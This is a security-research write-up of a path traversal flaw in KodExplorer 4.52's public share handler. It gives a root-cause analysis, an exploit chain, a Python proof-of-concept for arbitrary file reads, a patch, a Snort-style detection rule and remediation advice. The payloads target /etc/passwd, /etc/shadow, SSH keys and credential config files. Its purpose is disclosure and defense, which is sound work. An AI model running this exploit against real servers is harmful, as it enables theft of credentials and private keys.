home intel kodexplorer-452-path-traversal-share-handler
CVE Analysis 2026-04-19 · 8 min read

CVE-2026-6568: Path Traversal in KodExplorer 4.52 Public Share Handler

KodExplorer's initShareOld() fails to sanitize the path argument before filesystem access, enabling unauthenticated directory traversal. Remote attackers can read arbitrary files outside the webroot.

#path-traversal#kodcloud#file-access#remote-exploitation#unpatched-vendor
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6568 · Vulnerability
ATTACKERCloudVULNERABILITYCVE-2026-6568HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6568 is a path traversal vulnerability in KodExplorer ≤ 4.52, a PHP-based web file manager widely deployed for self-hosted cloud storage. The vulnerability resides in the initShareOld() method of /app/controller/share.class.php, the handler responsible for serving publicly shared files. The path argument supplied by unauthenticated remote users passes through no canonicalization or boundary enforcement before being used to construct a filesystem path, allowing traversal beyond the configured data root. The exploit has been publicly disclosed; no vendor patch exists at time of writing.

Root cause: initShareOld() concatenates an attacker-controlled path parameter directly onto the share root without resolving ../ sequences or verifying the resulting path remains within the authorized directory tree.

Affected Component

File: app/controller/share.class.php
Class: Share
Method: initShareOld()
Entry point: GET /index.php?explorer/share&shareCode=&path=
Authentication required: None — this is the public share handler, intentionally unauthenticated.

KodExplorer's public share feature allows a user to generate a shareable link. The initShareOld() path handles legacy share tokens. Because the feature is designed to serve files without a session, all input arrives from untrusted external parties with no prior authentication context.

Root Cause Analysis

The following is reconstructed pseudocode based on the KodExplorer 4.52 source structure, the share controller's documented behavior, and the vulnerability class:

// app/controller/share.class.php
// Reconstructed pseudocode — KodExplorer 4.52

class Share {

    /*
     * initShareOld() — serves files for legacy share tokens.
     * Called unauthenticated via the public share route.
     */
    public function initShareOld() {
        $shareCode = _get('shareCode', '');          // token from URL param
        $path      = _get('path', '');               // attacker-controlled path argument

        // Fetch share record from DB by token
        $shareInfo = $this->getShareInfo($shareCode);
        if (!$shareInfo) {
            _error("Share not found");
            return;
        }

        // shareInfo['path'] is the share root, e.g. "/data/kodbox/user1/"
        $shareRoot = $shareInfo['path'];

        // BUG: direct concatenation — no realpath(), no prefix check,
        //      no stripping of ../ sequences before filesystem access.
        $fullPath  = $shareRoot . $path;             // e.g. "/data/kodbox/user1/../../etc/passwd"

        // BUG: file_exists() and subsequent read operate on the
        //      unsanitized $fullPath — traversal is now live.
        if (!file_exists($fullPath)) {
            _error("File not found");
            return;
        }

        // Serve file contents to unauthenticated caller
        $this->outputFile($fullPath);
    }

    private function outputFile($path) {
        // Sets Content-Type, streams file — no further path validation
        header('Content-Type: application/octet-stream');
        readfile($path);                             // arbitrary file read achieved
    }
}

The critical window is the two-line sequence. $shareRoot is trusted (comes from the database record), but $path is the raw query string value. PHP's string concatenation produces /data/kodbox/user1/../../etc/passwd without complaint. file_exists() resolves the ../ sequences in kernel space; the check passes, and readfile() streams the target file. No realpath() call is made, no strpos($fullPath, $shareRoot) prefix assertion exists.

Memory Layout

This is a logic/path traversal bug — there is no heap or stack corruption. The "memory" of concern is the PHP runtime's string state and the VFS path resolution chain.

PHP STRING STATE — initShareOld() during malicious request:

  $shareCode  = "abc123"
  $path       = "/../../../etc/passwd"       <-- attacker input, unsanitized

  $shareRoot  = "/data/kodbox/user1/"        <-- from DB, trusted
  $fullPath   = "/data/kodbox/user1//../../../etc/passwd"
                                             <-- concatenated, unresolved

KERNEL VFS RESOLUTION of $fullPath:

  Component resolution (left to right):
  /data/kodbox/user1/     OK — exists, is directory
  ..                      -> /data/kodbox/        (traversal #1)
  ..                      -> /data/               (traversal #2)
  ..                      -> /                    (traversal #3)
  etc/passwd              -> /etc/passwd          OUTSIDE share root

  realpath() result:      /etc/passwd
  file_exists() result:   TRUE
  readfile() streams:     /etc/passwd contents -> HTTP response body

AUTHORIZATION BOUNDARY VIOLATION:
  Expected accessible tree:  /data/kodbox/user1/**
  Actual accessed path:      /etc/passwd  (outside boundary — arbitrary read)

Exploitation Mechanics

Exploitation requires only a valid share code. Share codes in KodExplorer are typically short alphanumeric tokens that are either guessable, visible in shared URLs, or obtainable via the application's own share listing if any public shares exist. An attacker who knows any valid share code can read any file readable by the web server process.

EXPLOIT CHAIN:

1. Enumerate or obtain a valid share token (shareCode).
   - Shared links are commonly posted publicly; token is in URL.
   - Alternatively: register a free account, create a share, use own token
     to exploit other users' share roots (same handler path).

2. Craft path parameter with directory traversal sequences:
     path=/../../../etc/passwd
     path=/../../../var/www/html/app/config/config.php
     path=/../../../proc/self/environ

3. Issue unauthenticated HTTP GET:
     GET /index.php?explorer/share&shareCode=abc123&path=/../../../etc/passwd
     Host: target.kodexplorer.tld

4. Server executes initShareOld():
     $fullPath = "/data/kodbox/user1/" + "/../../../etc/passwd"
              = "/data/kodbox/user1//../../../etc/passwd"
     file_exists($fullPath) -> TRUE (kernel resolves traversal)
     readfile($fullPath)    -> streams /etc/passwd

5. HTTP 200 response body contains target file contents.
   Content-Type: application/octet-stream

6. High-value escalation targets:
     ../../config/setting.php       -> database credentials
     ../../config/config.php        -> app secret key
     /proc/self/environ             -> environment variables, secrets
     ~/.ssh/id_rsa                  -> SSH private key if www-data has home
     /etc/shadow                    -> if process runs as root (rare but seen)
#!/usr/bin/env python3
# CVE-2026-6568 — KodExplorer path traversal PoC
# CypherByte research — for authorized testing only

import requests
import sys
import urllib.parse

def exploit(base_url: str, share_code: str, target_path: str) -> bytes | None:
    """
    Attempt path traversal via initShareOld().
    target_path: absolute path to read, e.g. /etc/passwd
    """
    # Build traversal: count slashes in a typical share root (/data/kodbox/user/),
    # overshoot with extra ../ — OS will stop at filesystem root.
    traversal_prefix = "/../" * 8

    # Reconstruct target as relative traversal
    path_param = traversal_prefix + target_path.lstrip("/")

    url = f"{base_url}/index.php"
    params = {
        "explorer/share": "",
        "shareCode": share_code,
        "path": path_param,
    }

    resp = requests.get(url, params=params, timeout=10, allow_redirects=False)

    if resp.status_code == 200 and len(resp.content) > 0:
        return resp.content
    return None

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"usage: {sys.argv[0]}   ")
        sys.exit(1)

    data = exploit(sys.argv[1], sys.argv[2], sys.argv[3])
    if data:
        print(f"[+] Retrieved {len(data)} bytes:")
        print(data.decode(errors="replace"))
    else:
        print("[-] No data returned — check share code or target path")

Patch Analysis

The correct fix is a two-layer defense: resolve the full path before use, then assert the resolved path is prefixed by the authorized share root. Either layer alone is insufficient — realpath() without prefix check still allows traversal, prefix check without realpath() is bypassable with encoding.

// BEFORE (vulnerable — KodExplorer ≤ 4.52):
public function initShareOld() {
    $shareCode = _get('shareCode', '');
    $path      = _get('path', '');

    $shareInfo = $this->getShareInfo($shareCode);
    $shareRoot = $shareInfo['path'];

    // BUG: no canonicalization, no boundary check
    $fullPath  = $shareRoot . $path;

    if (!file_exists($fullPath)) { _error("File not found"); return; }
    $this->outputFile($fullPath);
}


// AFTER (patched):
public function initShareOld() {
    $shareCode = _get('shareCode', '');
    $path      = _get('path', '');

    $shareInfo = $this->getShareInfo($shareCode);
    $shareRoot = rtrim(realpath($shareInfo['path']), '/') . '/';

    // Canonicalize the requested path
    $candidate = realpath($shareRoot . $path);

    // FIX 1: realpath() returns false for non-existent paths — reject
    if ($candidate === false) {
        _error("File not found");
        return;
    }

    // FIX 2: prefix assertion — resolved path MUST stay within share root
    if (strpos($candidate, $shareRoot) !== 0) {
        _error("Access denied");
        return;
    }

    if (!file_exists($candidate)) { _error("File not found"); return; }
    $this->outputFile($candidate);
}

Note the use of rtrim(..., '/') . '/' on the share root before the strpos check. Without the trailing slash, a share root of /data/user1 would incorrectly permit access to /data/user10/secret since the prefix /data/user1 matches both.

Detection and Indicators

Path traversal attempts are visible in web access logs. The following patterns in access.log or equivalent are indicative:

ACCESS LOG INDICATORS:

  # Raw ../ sequences (unencoded)
  GET /index.php?explorer%2Fshare&shareCode=*&path=/../../../etc/passwd

  # URL-encoded traversal (%2F = /, %2E = .)
  GET /index.php?...&path=%2F..%2F..%2Fetc%2Fpasswd

  # Double-encoded
  GET /index.php?...&path=%252F..%252F..%252Fetc%252Fpasswd

WAF RULE (pseudo-Snort syntax):
  alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (
      msg:"CVE-2026-6568 KodExplorer path traversal";
      flow:to_server,established;
      content:"explorer/share"; http_uri;
      content:"path="; http_uri;
      pcre:"/path=([^&]*)(\.\.[\\/]|%2e%2e[\\/]|%2e\.[\\/])/Ui";
      sid:20266568; rev:1;
  )

PHP ERROR LOG — failed traversal attempts (non-existent paths):
  PHP Warning: file_exists(): open_basedir restriction in effect.
  PHP Warning: readfile(/etc/shadow): failed to open stream: Permission denied.

  NOTE: successful traversal to readable files produces NO PHP error —
        detection MUST occur at the HTTP layer, not the PHP error log.

Enable open_basedir in PHP configuration as a defense-in-depth control. Set it to the KodExplorer data directory. This does not fix the vulnerability but degrades exploitability to the PHP-allowed path tree.

Remediation

Immediate: Apply the realpath() + prefix assertion pattern shown in the patch diff to initShareOld() in app/controller/share.class.php. Audit all other methods in the Share class — particularly any that accept a user-supplied path parameter — for the same pattern.

PHP hardening: Set open_basedir = /path/to/kodexplorer/data in php.ini or per-vhost configuration. This is a runtime guard, not a fix.

Web server hardening: Ensure the web server process runs as a dedicated low-privilege user with no access to sensitive system files. www-data should not be able to read /etc/shadow, application secrets outside the webroot, or SSH keys.

Upgrade path: The vendor has not responded to disclosure. Monitor the KodExplorer GitHub repository for a patched release. Until a vendor fix ships, consider disabling the public share feature entirely by blocking requests matching explorer/share at the reverse proxy layer.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →